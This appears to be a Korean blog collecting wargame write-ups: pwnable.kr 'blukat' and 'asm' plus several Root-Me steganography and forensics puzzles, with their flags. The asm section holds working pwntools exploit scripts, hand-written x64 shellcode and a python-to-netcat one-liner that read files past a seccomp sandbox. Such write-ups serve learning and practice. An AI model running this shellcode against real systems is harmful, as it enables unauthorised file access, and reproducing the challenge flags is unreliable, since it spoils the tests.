[문제]


[풀이]

보호기법 분석

  • 64bits 바이너리
  • 카나리 존재
  • NX bits 존재
  • PIE 없음

 

소스코드 분석 - blukat.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
char flag[100];
char password[100];
char* key = "3\\rG[S/%\\x1c\\x1d#0?\\rIS\\x0f\\x1c\\x1d\\x18;,4\\x1b\\x00\\x1bp;5\\x0b\\x1b\\x08\\x45+";
void calc_flag(char* s){
	int i;
	for(i=0; i<strlen(s); i++){
		flag[i] = s[i] ^ key[i];
	}
	printf("%s\\n", flag);
}
int main(){
	FILE* fp = fopen("/home/blukat/password", "r");
	fgets(password, 100, fp);
	char buf[100];
	printf("guess the password!\\n");
	fgets(buf, 128, stdin);
	if(!strcmp(password, buf)){
		printf("congrats! here is your flag: ");
		calc_flag(password);
	}
	else{
		printf("wrong guess!\\n");
		exit(0);
	}
	return 0;
}
  • password 파일을 fp에 읽어와서 password 변수에 넣음
  • fgets 함수로 buf에 사용자의 입력을 받음 → buf는 100byte이나 128byte만큼 입력해 BOF 발생(그치만 카나리 걸려있어서 안먹힐 것 같긴함)
  • password와 buf 값이 일치하면 calc_flag 함수를 호출하면서 flag를 출력해줌
  • calc_flag 함수에서는 password를 byte 단위로 key의 1byte와 xor 연산하여 반환함

 

gdb-peda$ info func
All defined functions:

Non-debugging symbols:
0x00000000004005b8  _init
0x00000000004005f0  puts@plt
0x0000000000400600  strlen@plt
0x0000000000400610  __stack_chk_fail@plt
0x0000000000400620  printf@plt
0x0000000000400630  __libc_start_main@plt
0x0000000000400640  fgets@plt
0x0000000000400650  strcmp@plt
0x0000000000400660  fopen@plt
0x0000000000400670  exit@plt
0x0000000000400690  _start
0x00000000004006c0  deregister_tm_clones
0x0000000000400700  register_tm_clones
0x0000000000400740  __do_global_dtors_aux
0x0000000000400760  frame_dummy
**0x0000000000400786  calc_flag
0x00000000004007fa  main**
0x00000000004008c0  __libc_csu_init
0x0000000000400930  __libc_csu_fini
0x0000000000400934  _fini
gdb-peda$ info variables
All defined variables:

Non-debugging symbols:
0x0000000000400940  _IO_stdin_used
0x00000000004009c4  __GNU_EH_FRAME_HDR
0x0000000000400b18  __FRAME_END__
0x0000000000600e10  __frame_dummy_init_array_entry
0x0000000000600e10  __init_array_start
0x0000000000600e18  __do_global_dtors_aux_fini_array_entry
0x0000000000600e18  __init_array_end
0x0000000000600e20  __JCR_END__
0x0000000000600e20  __JCR_LIST__
0x0000000000600e28  _DYNAMIC
0x0000000000601000  _GLOBAL_OFFSET_TABLE_
0x0000000000601060  __data_start
0x0000000000601060  data_start
0x0000000000601068  __dso_handle
**0x0000000000601070  key**
0x0000000000601078  __TMC_END__
0x0000000000601078  __bss_start
0x0000000000601078  _edata
0x0000000000601080  stdin
0x0000000000601080  stdin@@GLIBC_2.2.5
0x0000000000601088  completed
**0x00000000006010a0  password
0x0000000000601120  flag**
0x0000000000601188  _end
  • 전역 변수로 선언되어 있는 key, password, flag를 확인할 수 있음

 

  • fopen 함수를 호출하는 부분에 bp를 걸어 반환 값을 확인해봄
    • open에 성공하면 pointer 값을 반환한다고 하니 fp의 값이 반환된 것이 아닐까 추측할 수 있음

 

  • fgets 함수를 통해 password 변수로 값을 옮기는데, password에 “cat: password: Permission denied\n” 문자열이 들어감
    → 이거 보고 password 파일을 못 읽어온 거라고 생각했는데…………. 뭔가 이상함
  • 원래는 파일 내용을 못읽어오면 fopen함수에서 null을 반환해야 함. 앞에서는 fopen이 잘돼서 포인터 값을 rax에 받아왔는데, permission denied가 뜬다..?

  • 파일을 다시 확인해봄 → blukat_pwn 권한으로만 읽을 수 있는데.. 정말 이상하다 싶어서 id 명령 사용해봄

  • 아놔; blukat_pwn 권한이 있었다. 그럼 password 파일을 정상적으로 읽었다는 건데, password 파일 속 내용이 error 메시지가 아니라 그냥 진짜 password 내용이었다 ……………………

아 진짜 어이없다 ..……………………… michin


flag

🍒 Pl3as_DonT_Miss_youR_GrouP_Perm!!

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] asm  (0) 2023.02.26
[Pwnable.kr] memcpy  (0) 2022.10.15
[Pwnable.kr] uaf  (0) 2022.10.15
[Pwnable.kr] cmd2  (0) 2022.10.15
[Pwnable.kr] cmd1  (0) 2022.10.15

[문제]


[풀이]

보호기법 분석

  • 64bits 바이너리
  • 카나리 없음
  • NX bits 존재
  • PIE 존재

 

바이너리 실행-asm

 

readme

once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)

 

소스코드 분석 - asm.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
	scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
	if (ctx == NULL) {
		printf("seccomp error\\n");
		exit(0);
	}

	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

	if (seccomp_load(ctx) < 0){
		seccomp_release(ctx);
		printf("seccomp error\\n");
		exit(0);
	}
	seccomp_release(ctx);
}

char stub[] = "\\x48\\x31\\xc0\\x48\\x31\\xdb\\x48\\x31\\xc9\\x48\\x31\\xd2\\x48\\x31\\xf6\\x48\\x31\\xff\\x48\\x31\\xed\\x4d\\x31\\xc0\\x4d\\x31\\xc9\\x4d\\x31\\xd2\\x4d\\x31\\xdb\\x4d\\x31\\xe4\\x4d\\x31\\xed\\x4d\\x31\\xf6\\x4d\\x31\\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Welcome to shellcoding practice challenge.\\n");
	printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\\n");
	printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\\n");
	printf("If this does not challenge you. you should play 'asg' challenge :)\\n");

	char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
	memset(sh, 0x90, 0x1000);
	memcpy(sh, stub, strlen(stub));
	
	int offset = sizeof(stub);
	printf("give me your x64 shellcode: ");
	read(0, sh+offset, 1000);

	alarm(10);
	chroot("/home/asm_pwn");	// you are in chroot jail. so you can't use symlink in /tmp
	sandbox();
	((void (*)(void))sh)();
	return 0;
}

 

소스코드 분석 - asm.c - sandbox

void sandbox(){
	scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); //필터 규칙과 일치하는 Syscall 호출 시 커널에 의해 종료됨(초기화)
	if (ctx == NULL) {
		printf("seccomp error\\n");
		exit(0);
	}

	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); 
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
//open, read, write, exit 함수 호출 가능

	if (seccomp_load(ctx) < 0){ //설정한 필터 규칙을 커널에 로드해 필터 활성화(필터 규칙 활성화)
		seccomp_release(ctx); //필터 상태를 해제하고 연관된 메모리 해제(필터 규칙 해제)
		printf("seccomp error\\n");
		exit(0);
	}
	seccomp_release(ctx);
}
  • seccomp으로 특정 시스템 콜만 사용할 수 있도록 필터링 작업을 수행하고 있음
  • shellcode 실행 전 sandbox에서 필터링 됨

 

소스코드 분석 - asm.c - main

char stub[] = "\\x48\\x31\\xc0\\x48\\x31\\xdb\\x48\\x31\\xc9\\x48\\x31\\xd2\\x48\\x31\\xf6\\x48\\x31\\xff\\x48\\x31\\xed\\x4d\\x31\\xc0\\x4d\\x31\\xc9\\x4d\\x31\\xd2\\x4d\\x31\\xdb\\x4d\\x31\\xe4\\x4d\\x31\\xed\\x4d\\x31\\xf6\\x4d\\x31\\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Welcome to shellcoding practice challenge.\\n");
	printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\\n");
	printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\\n");
	printf("If this does not challenge you. you should play 'asg' challenge :)\\n");

	char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
	memset(sh, 0x90, 0x1000);
	memcpy(sh, stub, strlen(stub));
	
	int offset = sizeof(stub);
	printf("give me your x64 shellcode: ");
	read(0, sh+offset, 1000);

	alarm(10);
	chroot("/home/asm_pwn");	// you are in chroot jail. so you can't use symlink in /tmp
	sandbox();
	((void (*)(void))sh)();
	return 0;
}
  • stub에 shellcode가 넣어져있는 것 같음
  • stub 값을 sh에 복사하고 있음
  • stub size만큼이 offset으로 설정됨
  • sh+offset에 1000byte만큼 사용자의 입력을 받음
  • /home/asm_pwn이 root directory가 됨
  • sandbox 함수 호출

 

gdb 분석 - stub 위치 확인

  • stub은 0x2020c0에 저장됨

  • rsp를 제외한 모든 레지스터를 초기화하는 코드임을 알 수 있음

 

gdb 분석 - main

gdb-peda$ disass main
Dump of assembler code for function main:
   0x0000000000000d64 <+0>:	push   rbp
   0x0000000000000d65 <+1>:	mov    rbp,rsp
   0x0000000000000d68 <+4>:	sub    rsp,0x20
   0x0000000000000d6c <+8>:	mov    DWORD PTR [rbp-0x14],edi
   0x0000000000000d6f <+11>:	mov    QWORD PTR [rbp-0x20],rsi
   0x0000000000000d73 <+15>:	mov    rax,QWORD PTR [rip+0x201256]        # 0x201fd0
   0x0000000000000d7a <+22>:	mov    rax,QWORD PTR [rax]
   0x0000000000000d7d <+25>:	mov    ecx,0x0
   0x0000000000000d82 <+30>:	mov    edx,0x2
   0x0000000000000d87 <+35>:	mov    esi,0x0
   0x0000000000000d8c <+40>:	mov    rdi,rax
   0x0000000000000d8f <+43>:	call   0xaf0 <setvbuf@plt>
   0x0000000000000d94 <+48>:	mov    rax,QWORD PTR [rip+0x20123d]        # 0x201fd8
   0x0000000000000d9b <+55>:	mov    rax,QWORD PTR [rax]
   0x0000000000000d9e <+58>:	mov    ecx,0x0
   0x0000000000000da3 <+63>:	mov    edx,0x1
   0x0000000000000da8 <+68>:	mov    esi,0x0
   0x0000000000000dad <+73>:	mov    rdi,rax
   0x0000000000000db0 <+76>:	call   0xaf0 <setvbuf@plt>
   0x0000000000000db5 <+81>:	lea    rdi,[rip+0x18c]        # 0xf48
   0x0000000000000dbc <+88>:	call   0xa40 <puts@plt>
   0x0000000000000dc1 <+93>:	lea    rdi,[rip+0x1b0]        # 0xf78
   0x0000000000000dc8 <+100>:	call   0xa40 <puts@plt>
   0x0000000000000dcd <+105>:	lea    rdi,[rip+0x1f4]        # 0xfc8
   0x0000000000000dd4 <+112>:	call   0xa40 <puts@plt>
   0x0000000000000dd9 <+117>:	lea    rdi,[rip+0x240]        # 0x1020
   0x0000000000000de0 <+124>:	call   0xa40 <puts@plt>
   0x0000000000000de5 <+129>:	mov    r9d,0x0
   0x0000000000000deb <+135>:	mov    r8d,0x0
   0x0000000000000df1 <+141>:	mov    ecx,0x32
   0x0000000000000df6 <+146>:	mov    edx,0x7
   0x0000000000000dfb <+151>:	mov    esi,0x1000
   0x0000000000000e00 <+156>:	mov    edi,0x41414000
   0x0000000000000e05 <+161>:	call   0xa70 <mmap@plt>
   0x0000000000000e0a <+166>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000000000000e0e <+170>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000000e12 <+174>:	mov    edx,0x1000
   0x0000000000000e17 <+179>:	mov    esi,0x90
   0x0000000000000e1c <+184>:	mov    rdi,rax
   0x0000000000000e1f <+187>:	call   0xaa0 <memset@plt>
   0x0000000000000e24 <+192>:	lea    rax,[rip+0x201295]        # 0x2020c0 <stub>
   0x0000000000000e2b <+199>:	mov    rdi,rax
   0x0000000000000e2e <+202>:	call   0xa60 <strlen@plt>
   0x0000000000000e33 <+207>:	mov    rdx,rax
   0x0000000000000e36 <+210>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000000e3a <+214>:	lea    rcx,[rip+0x20127f]        # 0x2020c0 <stub>
   0x0000000000000e41 <+221>:	mov    rsi,rcx
   0x0000000000000e44 <+224>:	mov    rdi,rax
   0x0000000000000e47 <+227>:	call   0xae0 <memcpy@plt>
   0x0000000000000e4c <+232>:	mov    DWORD PTR [rbp-0xc],0x2e
   0x0000000000000e53 <+239>:	lea    rdi,[rip+0x209]        # 0x1063
   0x0000000000000e5a <+246>:	mov    eax,0x0
   0x0000000000000e5f <+251>:	call   0xa80 <printf@plt>
   0x0000000000000e64 <+256>:	mov    eax,DWORD PTR [rbp-0xc]
   0x0000000000000e67 <+259>:	movsxd rdx,eax
   0x0000000000000e6a <+262>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000000e6e <+266>:	add    rax,rdx
   0x0000000000000e71 <+269>:	mov    edx,0x3e8
   0x0000000000000e76 <+274>:	mov    rsi,rax
   0x0000000000000e79 <+277>:	mov    edi,0x0
   0x0000000000000e7e <+282>:	call   0xac0 <read@plt>
   0x0000000000000e83 <+287>:	mov    edi,0xa
   0x0000000000000e88 <+292>:	call   0xab0 <alarm@plt>
   0x0000000000000e8d <+297>:	lea    rdi,[rip+0x1ec]        # 0x1080
   0x0000000000000e94 <+304>:	call   0xa20 <chroot@plt>
   0x0000000000000e99 <+309>:	mov    eax,0x0
   0x0000000000000e9e <+314>:	call   0xc50 <sandbox>
   0x0000000000000ea3 <+319>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000000ea7 <+323>:	call   rax
   0x0000000000000ea9 <+325>:	mov    eax,0x0
   0x0000000000000eae <+330>:	leave  
   0x0000000000000eaf <+331>:	ret    
End of assembler dump.

 

문제 해결

💡 shellcode를 실행하기 위한 assembly programming을 수행하면 될 것
  • SECCOMP으로 open, write, read 함수만 이용할 수 있도록 제한해두었기 때문에 system 함수를 사용할 수 없음
  • flag 파일을 open 함수로 열어서 read 함수로 읽고, write 함수로 출력하도록 작성하면 될 것 같음
  • shellcraft로 shellcode를 만들 수 있어서 해당 기능을 사용해봄

 

Exploit - Shellcraft

from pwn import *

p =remote('pwnable.kr', 9026)
context(arch='amd64', os='linux')
flag = "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"

shellcode = shellcraft.pushstr(flag)
shellcode += shellcraft.open('rsp',0,0)
shellcode += shellcraft.read('rax','rsp', 100)
shellcode += shellcraft.write(1,'rsp',100)

p.recvuntil("shellcode:")
p.send(asm(shellcode))
print (p.recvall())
p.interactive()

 

  • 다른 분들 payload 좀 더 찾아봄
p_filename = 0x41414200 
p_flag = 0x41414300 

pay='' 
pay += asm(shellcraft.amd64.linux.syscall('SYS_read',0,p_filename,0x100)) 
pay += asm(shellcraft.amd64.linux.syscall('SYS_open',p_filename,0,0x400)) 
pay += asm(shellcraft.amd64.linux.syscall('SYS_read','rax',p_flag,0x200) )
pay += asm(shellcraft.amd64.linux.syscall('SYS_write',1,p_flag,0x300))  
payload = pay.encode('hex')
print payload 

payload = payload.decode('hex')   

cn.send(payload)cn.send(filename)  
print cn.recvuntil('\\x0a')

 출처: <https://nroses-taek.tistory.com/151>

 

shellcode 제작 - 다른 분 풀이 참고함

어떻게 짜는건지.. pwnable.kr - asm

global _start

_start :

        mov al, 0x2
        mov rdi, 0x41414050
        syscall

        push rax
        pop rdi
        mov rsi, 0x41414400
        mov dx, 0x100
        xor rax, rax
        syscall

        xor rax, rax
        mov al, 0x1
        push rax
        pop rdi
        syscall
-------------------------------------------
global _start
_start:
        mov al, 0x2
        mov rdi, 0x41414050 //이 주소에 넣어야 하는걸 어떻게 알지?
        syscall
 
        push rax
        pop rdi
        mov rsi, 0x41414710
        mov dx, 0x111
        xor rax, rax
        syscall
 
        xor rax, rax
        mov al, 0x1
        push rax
        pop rdi
        syscall

💡 hexdump -v -e '"\\""x" 1/1 "%02x" ""' a.out
  • 오 이렇게 쓰면 \x 붙여서 출력할 수 있는 것 같다!
(python -c 'print "\\xb0\\x02\\xbf\\x50\\x40\\x41\\x41\\x0f\\x05\\x50\\x5f\\xbe\\x00\\x44\\x41\\x41\\x66\\xba\\x00\\x01\\x48\\x31\\xc0\\x0f\\x05\\x48\\x31\\xc0\\xb0\\x01\\x50\\x5f\\x0f\\x05" + "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong\\x00\\x00"'; cat) | nc 0 9026


flag

🍒  Mak1ng_shelLcodE_i5_veRy_eaSy

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] blukat  (0) 2023.02.27
[Pwnable.kr] memcpy  (0) 2022.10.15
[Pwnable.kr] uaf  (0) 2022.10.15
[Pwnable.kr] cmd2  (0) 2022.10.15
[Pwnable.kr] cmd1  (0) 2022.10.15

[문제]

Find the hidden information in this PDF file.


[풀이]

문제 파일을 열어보면 프랑스어로 작성된 문서를 확인할 수 있다. 문제에서 프랑스어를 몰라도 할 수 있다고 했으므로 내용을 파악하는 것은 아니라는 생각이 들었다.

pdf steganography에 대해 찾아보니 보통은 pdf 문서 내용에 white space로 숨겨둔다고 한다. 그런데 해당 파일은 문서에 대한 캡쳐본들을 pdf로 만든 것 같다.

이에 string 명령을 통해 숨겨진 파일이 있음을 알 수 있었다.

 

EN - Malicious Origami in PDF - Raynal - Delugré (1).pdf

9-23, 57-58, 64-67, 74-78, 80-84 페이지의 내용을 참고하면 pdf 구조에 대해서 파악할 수 있다.

아래의 링크 또한 설명을 잘 해주고 있어서 가져왔다!

https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=stop2y&logNo=221280356184

(따라서 이에 대한 내용은 생략하겠다!)

pdf 속에 Hidden_b33rs.txt 파일이 존재하고, 아래에 F 77을 통해 77번 Stream을 참조? 한다고 알 수 있었다. (참조하는 것인지 이동하는 것인지는 잘 모르겠다..!)

77번 stream의 내용을 확인해봐야 할 것 같아서 peepdf를 통해 스트림을 추출하였다.

 

peepdf를 통해서 77 stream이 encoding 되어 있는 것도 확인할 수 있었고, 이를 77.txt로 저장하여 내용을 확인해보았다.

 

예상대로 인코딩 된 것을 볼 수 있었는데, 어떤 기법으로 인코딩 되었는지는 이것만 보고는 파악하기가 어려웠다.

peepdf 사용법에 대해서 알아보던 중 decode 부분에서 다양한 인코딩 방식을 디코딩 해준다는 것을 알게 되었고, 이 기법들 중 하나일 것이라고 생각하여 base64부터 시도해보았다.

http://forensic.korea.ac.kr/DFWIKI/index.php/Peepdf

 

77.txt 속의 stream 내용만 남긴 후 base64 decoding하여 dec.txt에 저장하였다.

dec.txt 파일을 확인하였더니 jfif, jpeg라는 문자열이 보였다. 이에 사진 파일임을 확신하게 되었고, dec.txt를 dec.jpg로 변경하였다.

eog를 통해 dec.jpg를 읽어보면 flag를 획득할 수 있다.

 

 

++ 풀이 후 다른 방법도 고민해보다가 binwalk를 통해서도 구할 수 있었다.

추출한 파일에 대해서 file 명령어를 통해 type을 확인해보니 data와 ascii text가 섞여 있었다. 이에 ascii text 파일들만 확인해보았는데, 그 중 233212에서 77stream과 동일한 내용을 확인할 수 있었다.

이후 과정은 동일하게 진행하였다.

++참고) https://www.base64decode.org/사이트에서도 파일 자체를 디코딩하여 변환해준다.


flag

🍒 Hidden_embedded_Fil3

[문제]

A police unit intercepted a message from a terrorist group. This message may contain a secret key used to encrypt other communications. They need you to decrypt it !


[풀이]

문제에서 주어진 파일이 ppm 확장자를 갖고 있어서 gimp 로 열어 보았더니 다음과 같은 사진을 볼 수 있었다.

사진에서는 flag로 유추되는 값을 볼 수 없었고, 파일의 hex 값과 strings 값을 확인하면서 pass에 대한 hint를 얻을 수 있었다.

문제에서 "a language where the programs are works of modern art’’라고 얘기했는데, 관련하여 검색해보니 piet esoteric programming 이라는 기법이 있었다.

https://esolangs.org/wiki/Piet

https://www.bertnase.de/npiet/npiet-execute.php 사이트에 문제 파일을 넣으면 flag가 아니라 key를 출력한다.

 

key를 이용하여 strings에서 추출한 암호를 해독해야 한다고 생각하였고, key를 이용하는 암호 기법들을 시도하던 중 비즈네르 암호를 통해 해독할 수 있었다.


flag

🍒 ARTLOVERSWILLNEVERDI

[문제]


[풀이]

문제에서 더 깊은 곳으로 가야한다고 하는데..

문제 파일의 헤더 시그니처를 확인해보았더니 2개가 존재하였다. 이것을 통해 파일 속에 또 다른 파일이 있을 것이라는 생각을 하였고, binwalk 명령으로 확인해보았다.

문제 파일을 binwalk 명령으로 확인한 결과 파일 속에 또다른 jpg 파일이 있다는 것을 확인할 수 있었다. -e 옵션으로 파일들을 분리하였고,

분리된 폴더 속에서

 

새로운 사진을 볼 수 있었다.

사진을 열어 보면 flag를 획득할 수 있다.


flag

🍒 B33r1sG00d!

[풀이]

문제 파일의 스펙트럼을 확인하기 위해서 sonic visualiser를 설치하였다.

https://www.sonicvisualiser.org/에서 설치 가능!

 

문제 파일을 sonic visualiser로 열어보면 secret-password라는 문구를 확인할 수 있다.


flag

🍒 secret-password

[문제]

You attend an interview for a forensic investigator job and they give you a challenge to solve as quickly as possible (having the Internet).They ask you to find the date of printing as well as the serial number of the printer in this document.You remain dubitative and accept the challenge.

 

The answer is in the form:

hh:mm dd/mm/yyyy SSSSSSSSwith

hh: the hour of the event
mm: the minutes of the event
dd: the day of the event
MM: the month of the event
yyyy: the year of the event
SSSSSSSS: the serial number

[풀이]

문제 파일을 확인했을 때 풀이를 위해 얻을 수 있는 hint는 없다.

 

yellow dot이라고 구글에 검색해보면 컬러 프린터 출력물 속에 노란 점들을 삽입해서 데이터를 숨겨 놓는 기법인 것을 알 수 있다. yellow dot을 찾기 위해서 방법들을 검색해보니 yellow dot을 확인하려면 배경을 파란색 계열로 바꿔주거나 복사 스캐너를 통해서 확인할 수 있다고 한다.

이에 우분투에서 convert 명령으로 배경을 파란색으로 변경하니 아무것도 확인할 수 없다. 포토샵 프로그램으로도 확인할 수 있다고 그랬는데 gimp로 변경해봐도 yellow dot을 찾아볼 수 없었다.

포렌식에 주로 사용되는 online 사이트들을 찾아서 이용하니 yellow dot을 확인할 수 있었다.

http://fotoforensics.com/analysis.php?id=4fc1d07d5248bf5fcaa5697fafd22280c1d560e1.2149907

https://stegonline.georgeom.net/image

https://incoherency.co.uk/image-steganography/#unhide

https://aperisolve.fr/58bfea09dc12465442702f0ee180f54c

위의 사이트들이 포렌식 tool로 주로 사용된다고 한다.

 

처음에는 LSB를 half 로 변경하여 확인하였는데, 오른쪽 상단에 하얀 네모 박스가 있었다. 여기서 yellow dot이 있을 것이라는 추측을 할 수 있었고,

파일에 사용된 색을 뒤바꿔서 확인해보면

여기 사진에는 잘 안보이지만 오른쪽 상단 부분에 파란색 점들이 보인다.

그 부분만 확대해보면 이렇게 나타나있다.

이제 해석하는 것이 관건인데, 해석하는 방법과 관련해서는 아래 게시글을 참고하였다.

https://en.wikipedia.org/wiki/Machine_Identification_Code

https://www.cybrary.it/blog/0p3n/printer-steganography/

해독 법에 대해 한 장의 사진으로 정리해보면 다음과 같다.

 

가로 세로 검은선 안에 있는 yellow dot으로 날짜, 시간, 시리얼 값을 표현할 수 있고, 가로 줄은 사진과 같이 시간(2~5), 날짜(6~8), 구분자(10), 시리얼(11~14)로 구분한다. 각각의 값은 세로줄에 의해 결정 되고 세로줄의 각 칸은 2^n 형태로 나타난다.

사진의 2번을 예로 설명하자면, yellow dot이 32, 16, 2에 찍혀있는데 이 값들을 모두 더하면 50이다. 즉, 시간에서의 50분을 2번의 yellow dot으로 표현한 것이다. 이런식으로 yellow dot이 위치한 곳의 값들을 더해보면 날짜, 시간, 시리얼 값을 구할 수 있다.

다시 문제로 돌아와서 위의 예시 사진처럼 바꿔보면!

 

이렇게 나타낼 수 있고

각각의 값들을 더해보면 5 11 27 7 14 30 29 92 6 이다.

이 값들을 영역에 맞게 나눠서 최종적으로 정리해보면 11:05, 2014-07-27, 06922930임을 알 수 있다.

이것을 문제에서 제시한 형태로 작성하여 인증해주면 문제를 해결할 수 있다.

 

Issue

💡https://web.archive.org/web/20180305181029/https://w2.eff.org/Privacy/printers/docucolor/에서 yellow dot 해독을 할 수 있다고 하는데 나만 그런지는 모르겠지만 해독을 안해준다👿

정답 인증 후에 풀이를 보니 코드를 작성해서 구할 수 있다고 하는데 코드는 이해 못하겠다☹️

flag

🍒 11:05 27/07/2014 06922930

[문제]

Deeply understand the meaning of this famous poem to validate this challenge.


[풀이]

문제를 모두 드래그 해보면 제시되어 있는 문장 외에도 공백으로 보이는 것들이 함께 입력되어 있음을 알 수 있다. (번역기 돌려보려다가 알아냈음..!)

이를 보고 white space 를 떠올렸고, https://ideone.com/l/whitespace 에서 공백처럼 보이는 문자열들만 복사하여 decoding해보면 flag를 획득할 수 있다.

 


flag

🍒 RootMe{Wh1t3_Sp4c3}

[문제]

This challenge is only available in french language due to it specificity.


[풀이]

해당 문제는 프랑스어로 접속해야 내용을 볼 수 있다.

문제 내용을 해석했을 때는 문제 해결에 대한 실마리를 찾을 수가 없어서 George Sand & Alfred de Musset에 대해 찾아보았다.

찾아본 내용들도 프랑스어이기도 하고 자료도 많이 안보여서 어떤 기법인지 정확하게 이해는 못했다.

찾아본 바로는 고전 암호학 중에 하나이고 George와 Alfred de Musset이 주고 받는 편지 속에 암호를 숨겨둔 기법인 것 같다.

1 - Cryptography - Phan Duong Hieu.pdf

이 파일에서 암호 방식에 대해서 살펴볼 수 있었다.

 

처음에 George가 보낸 편지에서는

빨간 줄로 되어 있는 문장이 암호문이고 검은색 문장들을 뒤에 덧붙여 숨긴 것 같다.

다음으로 Alfred de Musset가 답장을 하고, 다시 George가 답장을 했을 때는 가장 앞에 위치한 단어들만 읽어 암호를 해독할 수 있도록 하였다.

사실 이 자료만 보고는 빨간색이 의미하는 것이 무엇인지 잘모르겠어서

https://www.apprendre-en-ligne.net/crypto/stegano/lettres.html 사이트에서 돌려보면서 이해했다.

내용에 대한 설명은 https://www.canalacademies.com/emissions/a-voix-lue/echange-epistolaire-entre-george-sand-et-alfred-de-musset에도 있는데 무슨 말인지 제대로 이해가 안되긴한다..!

문제의 가장 마지막에 위치한 메시지를 해석해보면 Use the last "hidden phrase", to validate this test. 이고, 숨겨진 문구를 가장 마지막에 위치한 문단에서 찾으라고 하여 정답이 Cette Nuit임을 알 수 있었다.


flag

🍒 Cette Nuit

+ Recent posts